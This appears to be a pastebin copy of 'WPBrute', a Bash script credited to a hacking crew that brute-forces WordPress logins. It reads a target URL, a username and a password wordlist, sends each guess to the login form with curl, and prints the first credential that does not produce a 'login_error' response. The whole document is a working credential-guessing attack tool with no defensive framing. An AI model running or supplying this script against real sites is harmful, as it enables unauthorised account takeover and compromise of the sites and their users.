SHOW:
|
|
- or go back to the newest paste.
1 | #!/bin/bash | |
2 | # WPBrute (Bash) | |
3 | # By Zombie-Root | |
4 | # | |
5 | # Thanks: Ccocot | |
6 | # Bahari Trouble Maker - IndoXploit - Suram-Crew | |
7 | # Jloyal - Berdendang C0de | |
8 | ||
9 | clear; | |
10 | echo ' __ ______ ____ _ '; | |
11 | echo ' \ \ / / _ \| __ ) _ __ _ _| |_ ___ '; | |
12 | echo ' \ \ /\ / /| |_) | _ \| "__| | | | __/ _ \ '; | |
13 | echo ' \ V V / | __/| |_) | | | |_| | || __/_ '; | |
14 | echo ' \_/\_/ |_| |____/|_| \__,_|\__\___(_)'; | |
15 | echo ' Wordpress Bruteforce Login Bash Version 1.0 '; | |
16 | echo -ne '\n'; | |
17 | echo -n "Input URL : "; read url | |
18 | echo -n "Username : "; read username | |
19 | echo -n "Wordlist : "; read wlist | |
20 | ||
21 | echo Total [$(wc -l < $wlist)] Wordlist | |
22 | ||
23 | i=0 | |
24 | for passw in $(cat $wlist); do | |
25 | i=$[i+1] | |
26 | brute=$(curl -i -L --data-urlencode log=$username --data-urlencode pwd=$passw $url) | |
27 | if [[ $brute =~ "login_error" ]]; | |
28 | then | |
29 | clear; | |
30 | echo ' __ ______ ____ _ '; | |
31 | echo ' \ \ / / _ \| __ ) _ __ _ _| |_ ___ '; | |
32 | echo ' \ \ /\ / /| |_) | _ \| "__| | | | __/ _ \ '; | |
33 | echo ' \ V V / | __/| |_) | | | |_| | || __/_ '; | |
34 | echo ' \_/\_/ |_| |____/|_| \__,_|\__\___(_)'; | |
35 | echo -ne '\n' | |
36 | echo ' Trying ['$i'/'$(wc -l < $wlist)']'; | |
37 | echo -ne '\n\n' | |
38 | ||
39 | else | |
40 | clear; | |
41 | echo ' _____ _ _ ' | |
42 | echo ' | ___|__ _ _ _ __ __| | |' | |
43 | echo ' | |_ / _ \| | | | "_ \ / _` | |' | |
44 | echo ' | _| (_) | |_| | | | | (_| |_|' | |
45 | echo ' |_| \___/ \__,_|_| |_|\__,_(_)' | |
46 | echo -ne '\n' | |
47 | echo $url; | |
48 | echo 'Username : '$username; | |
49 | echo 'Password : '$passw; | |
50 | echo -ne '\n' | |
51 | break; | |
52 | fi | |
53 | done |